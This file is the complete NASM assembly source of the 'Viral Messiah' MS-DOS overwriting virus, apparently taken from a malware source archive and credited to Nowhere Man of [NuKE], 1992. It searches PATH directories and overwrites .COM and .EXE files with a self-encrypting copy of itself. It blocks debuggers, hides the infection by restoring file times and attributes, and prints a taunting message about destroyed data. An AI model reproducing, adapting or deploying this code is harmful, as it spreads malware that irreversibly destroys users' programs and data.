MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vmessiah.asm
2021-01-12 18:07:35 -06:00

341 lines
14 KiB
NASM

; VMESSIAH.ASM -- Viral Messiah Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: xchg dh,dh
xchg bp,ax
xchg bp,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0005h ; Do 5 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov si,offset data00 ; SI points to data
xor dx,dx ; Clear DX
print_loop: lodsb ; Load the next char. into AL
xor ah,ah ; BIOS print char. function
or al,al ; Is the character a null?
je print_done ; If it is, exit
int 017h ; BIOS video interrupt
jmp short print_loop ; Do the next character
print_done:
end00: mov ax,04C00h ; DOS terminate function
int 021h
main endp
db 08Dh,04Eh,054h,059h,0E0h
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a .COM file
jnc done_searching ; If successful the exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect an .EXE file
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: mov si,offset path_string ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [path_ad],di ; Save the PATH address for later
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 0FEh,0C9h,04Bh,0DFh,06Eh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 07Dh,0F9h,074h,000h,09Bh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
data00 db "I am your VIRAL MESSIAH",13,10
db "Follow me and be redeemed",13,10
db "Your data doth exist no more",13,10
db "The FAT holds ashes of your dreams",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Viral Messiah]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main